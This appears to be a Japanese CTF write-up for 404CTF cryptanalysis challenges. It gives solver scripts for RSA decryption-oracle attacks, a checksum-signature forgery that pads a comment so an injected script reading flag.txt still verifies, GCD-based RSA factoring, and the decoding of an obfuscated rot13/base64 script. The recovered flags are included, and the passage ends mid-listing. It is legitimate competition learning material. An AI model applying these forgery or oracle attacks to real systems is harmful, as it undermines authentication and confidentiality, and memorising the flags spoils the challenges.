from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challenge.404ctf.fr', 32128))

for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
c = int(data)

found = False
for c1 in range(2, 1024):
    if c % c1 == 0:
        found = True
        break

assert found
c2 = c // c1

for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
N = int(data.split(' ')[-1])

data = recvuntil(s, b'> ')
print(data + str(c1))
s.sendall(str(c1).encode() + b'\n')
for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
m1 = int(data)

data = recvuntil(s, b'> ')
print(data + str(c2))
s.sendall(str(c2).encode() + b'\n')
for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
m2 = int(data)

m = (m1 * m2) % N
flag = long_to_bytes(m).decode()
print(flag)

実行結果は以下の通り。

Voici le message secret que je dois garder. Vous pouvez le voir, de toute façon vous ne pourrez rien en faire!
6858896053246975327469406934882892635849837692092134310447065337719251301015708531130458860605898989472760883376585038925113435239079074760033009562106493342470627416796495591610210395619051508456618283082563042549891985428357424529169222622489882047161567350184050373636362488389607400127324675779406659328205365125733882621756853942731060516108054426740061530665062264847898271148297806304114416014615806328393994025590530569804850364841342519963941824248436727547325093297398762195495534526714574699903441807251235977461591051722862695804849649634191689650119996319931602456320521314601526796026164388422484493636
J'en profite également pour noter quelques informations ici:
N = 27185173146439443375677991233018421845725305474577180348308240801153165956714148084962005230500648367250632862798457724223245414899368971413419633377227432694965051486510831102613384135143346880263089537352567198795582101787505185099455979372581579867387527693306531053715714698061354636691919848160006744511810110483660802052046037855817130608836916677514227875012474774373813379500279867857030057196877673695730824315581208036031236574433979599291738784820840858055673142933006362672043205796787351574885847407175698480735651461265738563791968360530243394638882250314357705750037104165088665852062277681227319709409
e = 65537

Ceci étant dit, passons à ce que vous vouliez me dire!

> 2
Voici ma réponse:
3026544298092129508143585948309971578806324651910693081926937133434782374425398482426425062309615615750582666011068807715607550029046027229149024187471870361200497741679469903401770827333162571668537216481041322571092758020776902940765652746261490636536946684875617697910452069312702917517384187520788937048820030601169268266552327592732876443572630016751107404237097493667495214353730485265806199973278005933431183912938764812837210398245451938465233352365292396110640734950383831029219323978318862218816088555760206646881893135078359761726809132337134527780067899433972261571435973838786961645662124866772428014746

> 3429448026623487663734703467441446317924918846046067155223532668859625650507854265565229430302949494736380441688292519462556717619539537380016504781053246671235313708398247795805105197809525754228309141541281521274945992714178712264584611311244941023580783675092025186818181244194803700063662337889703329664102682562866941310878426971365530258054027213370030765332531132423949135574148903152057208007307903164196997012795265284902425182420671259981970912124218363773662546648699381097747767263357287349951720903625617988730795525861431347902424824817095844825059998159965801228160260657300763398013082194211242246818
Voici ma réponse:
8413241987655940600542324967899456703564993905095087332386510981956174101260586199368775958946303760263350099546927108403346655412546666081605634394471432140164234221579427631429194947282285562056548713717942439446614752176578500688474191293025908520184856027003530136058411706866872577150557772831403009406624514005344830732596416369976072226201569100816390134215570434002536754615330415159875585964918694786402456394724508015660995003504524479828312454509981178706675571174854772073807072093648749255846169755777209641480598699742118858590780370848795483655909956828249794693669724846318720677711454421549746409732
404CTF{L3s_0r4cl3s_RSA_s0n7_si_fr4g1l35}
404CTF{L3s_0r4cl3s_RSA_s0n7_si_fr4g1l35}

Un simple oracle [2/2] (Cryptanalyse)

$ nc challenge.404ctf.fr 30594
Il y a eu quelques petits problèmes lors de ma précédente itération, mais tout a été résolu!
Je peux à nouveau montrer mon secret sans craintes:
17547541355610893498405387371181743073327979480925640068444492085587811865755303194072980977692121241754866365069464695694563697861950328030628612085149921674878577524455854726624593569175184670453748472302822811255557872737826461219793604400654989038274815268986403349658585670352840373202504399893210435547091717019223699308611610309923091508516336353825262781226803682135100972573230958897092547791531164538523914959243434949876194661789509121845865812736878649625754954500313826713178138302526525394889458296945037041004607602738634977543505160268127420697852111106681494457624569857521695295246379038868808391960
Par mesure de sécurité, je ne peux malheureusement plus tout partager ici: 
e = 65537

Ceci étant dit, passons à ce que vous vouliez me dire!

> 1
Voici ma réponse:
1

> 2
Voici ma réponse:
8951834460748554438539207248242605795468210345301780105920515151160245895105844311737124220872558750776386260045288124024250330098090463689740145543122195464417749812566644538042200353102847886896312309911932467313006105377594823852788278619213405800720525112696077652267752397100574873210211294418032176846662302928072543960029731416736943486647542098078628270344997712114476044387792574461729151684707870221943340969775338423636943434232322067704387694561933233654566141488993053970152890295143988339839680357531639357387460789264367851616350275780990508091979063246688352187413283232120195356905259914061851257251

> -1
Voici ma réponse:
24033354224021992826812126917396142699186753334631944857602321927891178827088234743175331328565085572833621799926155475723123849665904399552492015335519845383412791193470459994782228324233833219620317423934012299607160735135541101738446294540490294661281722815694535767606126144894087214989341739387763887057386605418303152309581047186675092738168124346939538022369144090902697769030955928375288422192725742559463331704287129247596645899230738952920975884962757662397725196168665946639147673119419010526761289430542523558635456506774288564201342636343587606994045305503462740236234165809952642905327872149616885475570

> 
>>> e = 65537
>>> m = 8951834460748554438539207248242605795468210345301780105920515151160245895105844311737124220872558750776386260045288124024250330098090463689740145543122195464417749812566644538042200353102847886896312309911932467313006105377594823852788278619213405800720525112696077652267752397100574873210211294418032176846662302928072543960029731416736943486647542098078628270344997712114476044387792574461729151684707870221943340969775338423636943434232322067704387694561933233654566141488993053970152890295143988339839680357531639357387460789264367851616350275780990508091979063246688352187413283232120195356905259914061851257251
>>> N = 24033354224021992826812126917396142699186753334631944857602321927891178827088234743175331328565085572833621799926155475723123849665904399552492015335519845383412791193470459994782228324233833219620317423934012299607160735135541101738446294540490294661281722815694535767606126144894087214989341739387763887057386605418303152309581047186675092738168124346939538022369144090902697769030955928375288422192725742559463331704287129247596645899230738952920975884962757662397725196168665946639147673119419010526761289430542523558635456506774288564201342636343587606994045305503462740236234165809952642905327872149616885475571
>>> pow(m, e, N)
2

[1/2]の場合は、Nが提示されていたが、今回は提示されない。-1を指定すればN - 1の値が取得できるので、Nは算出できる。あとは[1/2]と同様に提示された暗号を復号できる。

#!/usr/bin/env python3
import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challenge.404ctf.fr', 30594))

for _ in range(3):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
c = int(data)

found = False
for c1 in range(2, 1024):
    if c % c1 == 0:
        found = True
        break

assert found
c2 = c // c1

for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

data = recvuntil(s, b'> ')
print(data + str(-1))
s.sendall(str(-1).encode() + b'\n')
for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
N = int(data) + 1

data = recvuntil(s, b'> ')
print(data + str(c1))
s.sendall(str(c1).encode() + b'\n')
for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
m1 = int(data)

data = recvuntil(s, b'> ')
print(data + str(c2))
s.sendall(str(c2).encode() + b'\n')
for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
m2 = int(data)

m = (m1 * m2) % N
flag = long_to_bytes(m).decode()
print(flag)

実行結果は以下の通り。

Il y a eu quelques petits problèmes lors de ma précédente itération, mais tout a été résolu!
Je peux à nouveau montrer mon secret sans craintes:
16268066850722528054040161635339200404001296293825212014885875027566215603258822737349411008598115929318187941601669436101977170167897116564719454683050434289041447106286104176447316449233620759755344736419916062517376100655050653824883577908707455183441013079110338722593330410458995466805267682800515013458337206484716820131161003729815424547532276528506554994327771586962488622758448331664931728270367323663664541369368665118450288728448957540613230965960355469347126009726960699379004213452313965388765166953693189309649435286281536228255344741423949170475017025318930104461347272366843117906433451414255823297812
Par mesure de sécurité, je ne peux malheureusement plus tout partager ici:
e = 65537

Ceci étant dit, passons à ce que vous vouliez me dire!

> -1
Voici ma réponse:
19395782703278700564307508450278954159309091855754581639399819849900425335209440234600925902554138691361291332454667108639976728275079327006985453637108557656124916607471644750258922683422299197123591097164381270705165893945991974643245087913114484690461496786198675496939675333204629630860947729982648411812994603674620840039651212370883360330031757483777276221646085751590261971835436349162903405989220964581770070325498503406735397830075433097421582537571329846868058492380635981785365100523624458894657247687805140360770698373867820609526287438893281038369066459104054261940237651086222501902202320688265447944592

> 2
Voici ma réponse:
1771799627004425500155132824599034069403767201210081024072145612347414151097788088700657632843063722029550077468084757510983696815043018211210290767686696521583271376918856162373343551819412968481972311774600110098531360172336600431016447481400636547400059599718975200905038599288270036008068207689373684887706341486141628697352050658257352760064022138617128775458471057529978061653771428061023331770597578810573839251822628819556072282482662740582986212290474019673330182342216068538730778570972545066413739307317797632168089256005880520888166097503740766064247392223028726559018188767669682316226406498882560933718

> 8134033425361264027020080817669600202000648146912606007442937513783107801629411368674705504299057964659093970800834718050988585083948558282359727341525217144520723553143052088223658224616810379877672368209958031258688050327525326912441788954353727591720506539555169361296665205229497733402633841400257506729168603242358410065580501864907712273766138264253277497163885793481244311379224165832465864135183661831832270684684332559225144364224478770306615482980177734673563004863480349689502106726156982694382583476846594654824717643140768114127672370711974585237508512659465052230673636183421558953216725707127911648906
Voici ma réponse:
10527742480651103231713414043771541925284669581426239334937886744780758458240359616847710003234008639096360606778862149016782419541398492671834231713151293140790879293320286735419135447502207339545938439348521004954991176628779519555490821234761862541485145357792401131776753218132885701005609110180029720641065111380075654565834542489941817627389601392074372890445810480089895115331979258744832463567760376123784013601029192417339666337987738580277062281966153848503621685438287173175571330693851341454603779242947537169571839890160286965594849041013401493323721498442762547722653930270643453184805369602678107672520
404CTF{L3_m0dul3_357_t0uj0ur5_7r0uv4bl3}
404CTF{L3_m0dul3_357_t0uj0ur5_7r0uv4bl3}

Weak Signature (Cryptanalyse)

Signの処理概要は以下の通り。

・signature = compute_signature(data, private_key, mod)
 ・chksum = checksum(data)
  ・chksum: dataのASCIIコードの和 * dataの長さ
 ・signature = pow(chksum, private_key, mod)
 (chksum = pow(signature, 65537, mod))
・signature_bytes = signature.to_bytes(300, "big")

dataのASCIIコードの和 * dataの長さが同じであれば、同じシグネチャを使用できる。コメント行を使い、以下のコードを実行できるようにする。

print(open("flag.txt").read())
#!/usr/bin/env python3
import socket
import base64

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

with open('script.py.zsig', 'rb') as f:
    magic = f.read(5)
    assert magic == b'\x01ZSig'
    assert f.read(1) == b'\x02'
    bytes_signature = f.read(300)
    signature = int.from_bytes(bytes_signature, 'big')
    assert f.read(1) == b'\x03'
    bytes_size = f.read(4)
    size = int.from_bytes(bytes_size, 'big')
    assert f.read(1) == b'\x04'
    data = f.read()
    assert len(data) == size

head = b'# '
tail = b'\n\nprint(open("flag.txt").read())'
sum_remain = sum(data) - (sum(head) + sum(tail))
len_remain = len(data) - (len(head) + len(tail))

div = sum_remain // len_remain
mod = sum_remain % len_remain
comment = bytes([div]) * (len_remain - mod)
comment += bytes([div + 1]) * mod

send_data = magic
send_data += b'\x02'
send_data += bytes_signature
send_data += b'\x03'
send_data += bytes_size
send_data += b'\x04'
send_data += head + comment + tail

send_data = base64.b64encode(send_data)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challenge.404ctf.fr', 32441))

data = recvuntil(s, b'\n').rstrip()
print(data)
print(send_data)
s.sendall(send_data + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

Send me a signed archive encoded in base 64:
b'AVpTaWcCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA28PjfBE7saFl5OLzbCpAbI+sXlK3fpUSFH5K6oXBMFo5yN8OeTeIhdGZyELGoga6BKprc7B4L6FxQkKRsQ53tROJeqEZtAC7UZNhZAjqSSntfyOAvDyCnfOoMs1HF2QoWoIsnHXZ+E9bbBjJEIe1JgLD2bYORSjUaO342dMBoJhOmipCDQUnfwxtxO5jhu0eUJvyH1bVT9ZU0K1NxHWCWR1s/P6L80f0MuCjII6kVVcU+M47ySSKocNcQP+obVonXLV7L52a9eUk9NtViTgst5KIkAE3TCLUK1Yt1/DnM8F7s32PyrOWgMDJ2f4q/UweoiyqPoPk63BQkhEWTnc+AwAAAHoEIyBUVFRUVFRVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVCgpwcmludChvcGVuKCJmbGFnLnR4dCIpLnJlYWQoKSk='
404CTF{Th1s_Ch3cksum_W4s_Tr4sh}
404CTF{Th1s_Ch3cksum_W4s_Tr4sh}

Un point c'est tout (Cryptanalyse)

たくさんあるmの中にnとの公約数が1でないものを探すと、存在したので、p, qを割り出せる。あとはそのまま復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('data.txt', 'r') as f:
    data = f.read().splitlines()

ms = [int(data[i].split(' ')[1], 16) for i in range(0, len(data) - 2, 6)]
cs = [int(data[i].split(' ')[1], 16) for i in range(1, len(data) - 2, 6)]

N = int(data[1200].split(' ')[1][:-1], 16)
e = int(data[1200].split(' ')[3], 16)
encrypted_flag = int(data[1201].split(' ')[1], 16)

for m in ms:
    p = GCD(N, m)
    if p > 1:
        q = N // p
        break

print('[+] p =', p)
print('[+] q =', q)

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(encrypted_flag, d, N)
flag = long_to_bytes(m).decode()
print('[*] flag:', flag)

実行結果は以下の通り。

[+] p = 155049753042699379284405913334974736081947034453440265765565714632893833266240358819505658549329764196482261772160503174067712120216578902991356315457576279476556108560693053168941159991939763846880402044933872888684753543267474968212439640459297331562744346790242005710055448998081654374865659937687234543437
[+] q = 142259697433300919939842401359929747771230586832025361599504948705442285637309595011110242808242610941252894709115956531330752421111628899492037876350866723885700097234304729129112408675903251340080109263483364427005148661660381246459509372077674757697446716575562385199943332804101163273785884074596884905371
[*] flag: 404CTF{f1x3d_P01n75_4Re_v3ry_C00l}
404CTF{f1x3d_P01n75_4Re_v3ry_C00l}

La fonte des hashs (Cryptanalyse)

codeの難読化をほどいていく。

#!/usr/bin/env python3
import base64, codecs

magic = 'IyEvdXNyL2Jpbi9weXRob24KIyAtKi0gY29kaW5nOiB1dGYtOCAtKi0KaW1wb3J0IHN5cwoKCgojIGZyb20gaHR0cHM6Ly9hc2VjdXJpdHlzaXRlLmNvbS9zdWJqZWN0cy9jaGFwdGVyODgKc2JveCA9IFsnMDExMDAwMTEnLCAnMDExMTExMDAnLCAnMDExMTAxMTEnLCAnMDExMTEwMTEnLCAnMTExMTAwMTAnLCAnMDExMDEwMTEnLCAnMDExMDExMTEnLCAnMTEwMDAxMDEnLCAnMDAxMTAwMDAnLCAnMDAwMDAwMDEnLCAnMDExMDAxMTEnLCAnMDAxMDEwMTEnLCAnMTExMTExMTAnLCAnMTEwMTAxMTEnLCAnMTAxMDEwMTEnLCAnMDExMTAxMTAnLCAnMTEwMDEwMTAnLCAnMTAwMDAwMTAnLCAnMTEwMDEwMDEnLCAnMDExMTExMDEnLCAnMTExMTEwMTAnLCAnMDEwMTEwMDEnLCAnMDEwMDAxMTEnLCAnMTExMTAwMDAnLCAnMTAxMDExMDEnLCAnMTEwMTAxMDAnLCAnMTAxMDAwMTAnLCAnMTAxMDExMTEnLCAnMTAwMTExMDAnLCAnMTAxMDAxMDAnLCAnMDExMTAwMTAnLCAnMTEwMDAwMDAnLCAnMTAxMTAxMTEnLCAnMTExMTExMDEnLCAnMTAwMTAwMTEnLCAnMDAxMDAxMTAnLCAnMDAxMTAxMTAnLCAnMDAxMTExMTEnLCAnMTExMTAxMTEnLCAnMTEwMDExMDAnLCAnMDAxMTAxMDAnLCAnMTAxMDAxMDEnLCAnMTExMDAxMDEnLCAnMTExMTAwMDEnLCAnMDExMTAwMDEnLCAnMTEwMTEwMDAnLCAnMDAxMTAwMDEnLCAnMDAwMTAxMDEnLCAnMDAwMDAxMDAnLCAnMTEwMDAxMTEnLCAnMDAxMDAwMTEnLCAnMTEwMDAwMTEnLCAnMDAwMTEwMDAnLCAnMTAwMTAxMTAnLCAnMDAwMDAxMDEnLCAnMTAwMTEwMTAnLCAnMDAwMDAxMTEnLCAnMDAwMTAwMTAnLCAnMTAwMDAwMDAnLCAnMTExMDAwMTAnLCAnMTExMDEwMTEnLCAnMDAxMDAxMTEnLCAnMTAxMTAwMTAnLCAnMDExMTAxMDEnLCAnMDAwMDEwMDEnLCAnMTAwMDAwMTEnLCAnMDAxMDExMDAnLCAnMDAwMTEwMTAnLCAnMDAwMTEwMTEnLCAnMDExMDExMTAnLCAnMDEwMTEwMTAnLCAnMTAxMDAwMDAnLCAnMDEwMTAwMTAnLCAnMDAxMTEwMTEnLCAnMTEwMTAxMTAnLCAnMTAxMTAwMTEnLCAnMDAxMDEwMDEnLCAnMTExMDAwMTEnLCAnMDAxMDExMTEnLCAnMTAwMDAxMDAnLCAnMDEwMTAwMTEnLCAnMTEwMTAwMDEnLCAnMDAwMDAwMDAnLCAnMTExMDExMDEnLCAnMDAxMDAwMDAnLCAnMTExMTExMDAnLCAnMTAxMTAwMDEnLCAnMDEwMTEwMTEnLCAnMDExMDEwMTAnLCAnMTEwMDEwMTEnLCAnMTAxMTExMTAnLCAnMDAxMTEwMDEnLCAnMDEwMDEwMTAnLCAnMDEwMDExMDAnLCAnMDEwMTEwMDAnLCAnMT'
love = 'RjZQRkZGRaYPNaZGRjZGNjZQNaYPNaZGRkZQRkZGRaYPNaZGNkZQRjZGNaYPNaZGRkZGRjZGRaYPNaZQRjZQNjZGRaYPNaZQRjZQRkZQRaYPNaZQNkZGNjZGRaYPNaZGNjZQNkZQRaYPNaZQRjZQNkZQRaYPNaZGRkZGRjZQRaYPNaZQNjZQNjZGNaYPNaZQRkZGRkZGRaYPNaZQRjZGNjZQNaYPNaZQNkZGRkZQNaYPNaZGNjZGRkZGRaYPNaZGNkZQRjZQNaYPNaZQRjZGNjZQRaYPNaZGNkZQNjZGRaYPNaZQRjZQNjZQNaYPNaZGNjZQRkZGRaYPNaZGNjZGNjZGNaYPNaZGNjZGRkZQRaYPNaZQNkZGRjZQNaYPNaZGRkZGNkZQRaYPNaZGNkZGRkZQNaYPNaZGNkZGNkZGNaYPNaZGRjZGRjZGNaYPNaZQNkZQNjZQRaYPNaZQNjZGNjZQNaYPNaZGRkZGRkZGRaYPNaZGRkZGNjZGRaYPNaZGRjZGNjZGNaYPNaZGRjZQRkZQRaYPNaZQNjZQRkZQNaYPNaZQNjZGNjZGRaYPNaZGRkZQRkZQNaYPNaZQRjZGRkZGRaYPNaZGNjZGNkZGRaYPNaZQRjZQNkZQNaYPNaZQNjZGNkZGRaYPNaZGRjZQNkZQNaYPNaZGNkZQNkZGRaYPNaZQRkZGRkZGNaYPNaZQNkZGRkZQRaYPNaZQRkZQNkZQNaYPNaZQRjZGRkZQRaYPNaZQNjZGRjZQRaYPNaZQRkZGNjZGRaYPNaZQRkZQNjZQNaYPNaZGNjZQNjZQRaYPNaZQRjZQRkZGRaYPNaZGRjZGRkZQNaYPNaZQNkZQNjZGNaYPNaZQNkZQRjZGNaYPNaZGNjZGNjZQNaYPNaZGNjZQRjZQNaYPNaZQRjZQNkZGNaYPNaZGRkZQRkZGNaYPNaZGNkZGRjZQNaYPNaZQNjZGNkZQNaYPNaZGRjZGRkZGNaYPNaZQRjZGRkZGNaYPNaZQNjZQRjZGRaYPNaZGRjZGRjZGRaYPNaZGRkZQNjZQNaYPNaZQNkZGNjZGNaYPNaZQNkZGRjZGNaYPNaZQNjZQRjZGNaYPNaZQRjZQRjZQRaYPNaZQNjZQNkZGNaYPNaZQNkZQNkZQNaYPNaZQRjZGRkZQNaYPNaZGRjZQNjZGNaYPNaZGRjZGNjZGRaYPNaZGNkZQRkZQNaYPNaZQRkZQNjZGNaYPNaZGNjZGNjZQRaYPNaZGNjZGNkZQRaYPNaZGRkZQNkZQNaYPNaZQRkZGRjZQRaYPNaZGRkZQNkZGRaYPNaZGRjZQRjZQNaYPNaZQNkZGNkZGRaYPNaZQRkZQRkZQRaYPNaZGNjZQRkZQRaYPNaZGRjZGNkZQRaYPNaZQRjZQRkZGNaYPNaZGNkZQRjZQRaYPNaZQRkZQRkZQNaYPNaZQRjZGNkZGNaYPNaZGRkZGNkZQNaYPNaZGRkZQRjZGNaYPNaZQRkZQNkZQRaYPNaZQRkZGRjZGNaYPNaZGNkZQRkZGNaYPNaZQNjZQRjZQNaYPNaZGNkZGRjZGNaYPNaZQRkZGRjZQNaYPNaZQNkZQNkZQRaYPNaZQNkZQRkZGNaYPNaZQNjZGRkZQNaYPNaZGNkZQNkZGNaYPNaZGNkZGNkZQNaYPNaZGRjZQNkZGNaYPNa'
god = 'MTExMDEwMDAnLCAnMTEwMTExMDEnLCAnMDExMTAxMDAnLCAnMDAwMTExMTEnLCAnMDEwMDEwMTEnLCAnMTAxMTExMDEnLCAnMTAwMDEwMTEnLCAnMTAwMDEwMTAnLCAnMDExMTAwMDAnLCAnMDAxMTExMTAnLCAnMTAxMTAxMDEnLCAnMDExMDAxMTAnLCAnMDEwMDEwMDAnLCAnMDAwMDAwMTEnLCAnMTExMTAxMTAnLCAnMDAwMDExMTAnLCAnMDExMDAwMDEnLCAnMDAxMTAxMDEnLCAnMDEwMTAxMTEnLCAnMTAxMTEwMDEnLCAnMTAwMDAxMTAnLCAnMTEwMDAwMDEnLCAnMDAwMTExMDEnLCAnMTAwMTExMTAnLCAnMTExMDAwMDEnLCAnMTExMTEwMDAnLCAnMTAwMTEwMDAnLCAnMDAwMTAwMDEnLCAnMDExMDEwMDEnLCAnMTEwMTEwMDEnLCAnMTAwMDExMTAnLCAnMTAwMTAxMDAnLCAnMTAwMTEwMTEnLCAnMDAwMTExMTAnLCAnMTAwMDAxMTEnLCAnMTExMDEwMDEnLCAnMTEwMDExMTAnLCAnMDEwMTAxMDEnLCAnMDAxMDEwMDAnLCAnMTEwMTExMTEnLCAnMTAwMDExMDAnLCAnMTAxMDAwMDEnLCAnMTAwMDEwMDEnLCAnMDAwMDExMDEnLCAnMTAxMTExMTEnLCAnMTExMDAxMTAnLCAnMDEwMDAwMTAnLCAnMDExMDEwMDAnLCAnMDEwMDAwMDEnLCAnMTAwMTEwMDEnLCAnMDAxMDExMDEnLCAnMDAwMDExMTEnLCAnMTAxMTAwMDAnLCAnMDEwMTAxMDAnLCAnMTAxMTEwMTEnLCAnMDAwMTAxMTAnXQoKCgoKZGVmIHN0cmluZzJiaXRzKHM9JycpOgogICAgdG1wID0gW10KICAgIGZvciB4IGluIHMgOgogICAgICAgIGJ5dGUgPSBiaW4ob3JkKHgpKVsyOl0KICAgICAgICBpZiBsZW4oYnl0ZSkgPiA4OgogICAgICAgICAgICBpbmRpY2VzID0gW2kgZm9yIGkgaW4gcmFuZ2UoMCwgbGVuKGJ5dGUpLCA4KV0KICAgICAgICAgICAgcGFydHMgPSBbIiIuam9pbihieXRlW2k6al0pLnpmaWxsKDgpIGZvciBpLGogaW4gemlwKGluZGljZXMsIGluZGljZXNbMTpdK1tOb25lXSldCiAgICAgICAgICAgIHRtcCArPSAocGFydHMpCiAgICAgICAgZWxzZSA6CiAgICAgICAgICAgIGJ5dGUgPSBieXRlLnpmaWxsKDgpCiAgICAgICAgICAgIHRtcC5hcHBlbmQoYnl0ZSkKICAgIHJldHVybiB0bXAKCmRlZiBwYWRkaW5nKGJpbmFyeSk6CiAgICBpZigobGVuKGJpbmFyeSkgKyAxICkgJSAzMiA9PSAwKToKICAgICAgICBiaW5hcnkuYXBwZW5kKCcwMDAwMDAwMScpCiAgICAgICAgYmluYXJ5LmFwcGVuZCgnMDAwMDAwMDAnKQogICAgaWYobGVuKGJpbmFyeSklMzIgIT0gMCBvciBsZW4oYmluYXJ5KSA9PSAwKToKICAgICAgICBiaW5hcnkuYXBwZW5kKCcwMD'
destiny = 'NjZQNjZFpcPvNtVPNtVPNtq2ucoTHtoTIhXTWcozSlrFxyZmVtVG0tZQbXVPNtVPNtVPNtVPNtLzyhLKW5YzSjpTIhMPtaZQNjZQNjZQNaXDbXMTIzVUuipvuuYTVcBtbtVPNtpzImVQ0tVvVXVPNtVTMipvOcVTyhVUWuozqyXTkyovuuXFx6PvNtVPNtVPNtVPNtVUWyplNeCFOmqUVbnJ50XTSonI0cVS4tnJ50XTWonI0cXDbtVPNtpzI0qKWhVUWypjbXMTIzVUAvo3uso3OyXTWcozSlrFx6PvNtVPOzo3VtnFOcovOlLJ5aMFufMJ4bLzyhLKW5XFx6PvNtVPNtVPNtnJ5xMKttCFOcoaDbLzyhLKW5J2yqYQVcPvNtVPNtVPNtLzyhLKW5J2yqVQ0tp2WirSgcozEyrS0XPzEyMvOjnTSmMGRbLzyhLKW5XGbXVPNtVT0tCFOcoaDboTIhXTWcozSlrFxtYlNmZvxXVPNtVUEgpPN9VSgqPvNtVPOzo3VtnFOcovOlLJ5aMFtjYPOfMJ4bLzyhLKW5XFjtoFx6PvNtVPNtVPNtqT1jYzSjpTIhMPu4o3VbLzyhLKW5J2yqYPOvnJ5upayonFfkKFxcPvNtVPOlMKE1pz4tqT1jPtcxMJLtpTuup2HlXTWcozSlrFx6PvNtVPOzo3VtnFOcovOlLJ5aMFtkYTkyovuvnJ5upaxcXGbXVPNtVPNtVPOzo3VtnvOcovOlLJ5aMFucXGbXVPNtVPNtVPNtVPNtLzyhLKW5J2yqVQ0trT9lXTWcozSlrIgcKFjtLzyhLKW5J2cqXDbXMTIzVTWcqUZlnTI4XTWcozSlrFx6PvNtVPObMKusp3ElVQ0tVvVXVPNtVTMipvOvnKDtnJ4tLzyhLKW5BtbtVPNtVPNtVTuyrS9mqUVtXm0tMz9loJS0XTyhqPuvnKDfVQVcYPNaZQW4WlxXVPNtVUWyqUIlovObMKusp3ElPtcxMJLtnPugXGbXVPNtVUOfLJyhVQ0toDbtVPNtLzyhLKW5VQ0tp3ElnJ5aZzWcqUZbpTkunJ4cPvNtVPOjLJExnJ5aXTWcozSlrFxXVPNtVTyzVTkyovuvnJ5upaxcVQ4tZmV6PvNtVPNtVPNtLzyhLKW5VQ0tpTuup2HkXTWcozSlrFxXVPNtVUObLKAyZvuvnJ5upaxcPvNtVPOjnTSmMGVbLzyhLKW5XDbtVPNtpTuup2HlXTWcozSlrFxXVPNtVUAvo3uso3OyXTWcozSlrFxXVPNtVTuup2usp3ElVQ0tLzy0pmWbMKtbLzyhLKW5XDbtVPNtpzI0qKWhVTuup2usp3ElPtbXpTkunJ4tCFNtVvVXnJLtoTIhXUA5pl5upzq2XFN9CFNkBtbtVPNtpUWcoaDbVxS1L3IhVTSlM3IgMJ50VTEioz7QdF4tHzyyovQQbPObLJAbMKVhVRW5MFOvrJHhVvxXMJkcMvOfMJ4bp3ymYzSlM3LcVQ49VQVtBtbtVPNtpTkunJ4tXm0tp3ymYzSlM3MoZI0XVPNtVTMipvOcVTyhVUWuozqyXQVfoTIhXUA5pl5upzq2XFx6PvNtVPNtVPNtpTkunJ4tXm0tVvNvVPftp3ElXUA5pl5upzq2J2yqXDbtVPNtpUWcoaDbnPujoTScovxcPt=='
joy = '\x72\x6f\x74\x31\x33'
trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29')

exec_code = base64.b64decode(eval('\x74\x72\x75\x73\x74')).decode()
print(exec_code)
#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys



# from https://asecuritysite.com/subjects/chapter88
sbox = ['01100011', '01111100', '01110111', '01111011', '11110010', '01101011', '01101111', '11000101', '00110000', '00000001', '01100111', '00101011', '11111110', '11010111', '10101011', '01110110', '11001010', '10000010', '11001001', '01111101', '11111010', '01011001', '01000111', '11110000', '10101101', '11010100', '10100010', '10101111', '10011100', '10100100', '01110010', '11000000', '10110111', '11111101', '10010011', '00100110', '00110110', '00111111', '11110111', '11001100', '00110100', '10100101', '11100101', '11110001', '01110001', '11011000', '00110001', '00010101', '00000100', '11000111', '00100011', '11000011', '00011000', '10010110', '00000101', '10011010', '00000111', '00010010', '10000000', '11100010', '11101011', '00100111', '10110010', '01110101', '00001001', '10000011', '00101100', '00011010', '00011011', '01101110', '01011010', '10100000', '01010010', '00111011', '11010110', '10110011', '00101001', '11100011', '00101111', '10000100', '01010011', '11010001', '00000000', '11101101', '00100000', '11111100', '10110001', '01011011', '01101010', '11001011', '10111110', '00111001', '01001010', '01001100', '01011000', '11001111', '11010000', '11101111', '10101010', '11111011', '01000011', '01001101', '00110011', '10000101', '01000101', '11111001', '00000010', '01111111', '01010000', '00111100', '10011111', '10101000', '01010001', '10100011', '01000000', '10001111', '10010010', '10011101', '00111000', '11110101', '10111100', '10110110', '11011010', '00100001', '00010000', '11111111', '11110011', '11010010', '11001101', '00001100', '00010011', '11101100', '01011111', '10010111', '01000100', '00010111', '11000100', '10100111', '01111110', '00111101', '01100100', '01011101', '00011001', '01110011', '01100000', '10000001', '01001111', '11011100', '00100010', '00101010', '10010000', '10001000', '01000110', '11101110', '10111000', '00010100', '11011110', '01011110', '00001011', '11011011', '11100000', '00110010', '00111010', '00001010', '01001001', '00000110', '00100100', '01011100', '11000010', '11010011', '10101100', '01100010', '10010001', '10010101', 